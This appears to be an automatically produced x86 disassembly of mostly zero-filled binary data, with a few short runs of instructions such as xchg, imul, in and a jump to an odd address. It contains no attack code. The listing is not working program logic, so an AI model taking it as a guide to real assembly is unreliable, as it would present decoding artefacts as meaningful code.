add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add al, 0
add byte [eax], al
add byte [eax], al
add al, byte [eax]
add eax, dword [eax]
add byte [eax], al
and byte [eax], al
add byte [eax + 0xe], al
cmp byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add al, 0
add byte [eax], al
add byte [eax], al
add dword [eax], eax
add dword [eax], eax
add byte [eax], al
push eax
add byte [eax], al
add byte [eax], 0
add byte [eax], al
add byte [eax], al
add byte [eax], al
add al, 0
add byte [eax], al
add byte [eax], al
add dword [eax], eax
add dword [eax], eax
add byte [eax], al
push 0x800000
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax + eax], al
add byte [eax], al
add byte [eax], al
add dword [eax], eax
or dword [eax + eax], eax
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax + eax], al
add byte [eax], al
add byte [eax], al
add dword [eax], eax
or dword [eax + eax], eax
add byte [eax - 0x60000000], dl
rcr byte [edx], 0
test al, 0x10
add byte [eax], al
in al, 4
add byte [eax], al
add byte [eax], al
add byte [eax], al
dec eax
rcr dword [edx], 1
add byte [eax + eax], dl
add byte [eax], al
in al, 4
add byte [eax], al
add byte [eax], al
add byte [eax], al
sub byte [eax], al
add byte [eax], al
and byte [eax], al
add byte [eax], al
inc eax
add byte [eax], al
add byte [ecx], al
add byte [eax], ah
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [ebx + ebp*2 + 0x6b94ff31], dl
xor edi, edi
xchg esp, eax
imul esi, dword [ecx], 0xffffffff
xchg esp, eax
imul esi, dword [ecx], 0xffffffff
xchg esp, eax
imul esi, dword [ecx], 0xffffffff
xchg esp, eax
imul esi, dword [ecx], 0xffffffff
xchg esp, eax
imul esi, dword [ecx], 0xffffffff
xchg ebx, eax
imul esi, dword [ecx], 0x7b
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [edx + ebp*2 + 0x6b948131], dl
xor edi, edi
xchg esp, eax
imul esi, dword [ecx], 0xffffffff
xchg esp, eax
imul esi, dword [ecx], 0xffffffff
xchg esp, eax
imul esi, dword [ecx], 0xffffffff
xchg esp, eax
imul esi, dword [ecx], 0xffffffff
xchg esp, eax
imul esi, dword [ecx], 0xffffffff
xchg esp, eax
imul esi, dword [ecx], 0xffffffff
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
xchg ebp, eax
insb byte es:[edi], dx
xor bh, bh
in al, dx
pushfd
dec esp
jmp 0xfba95cba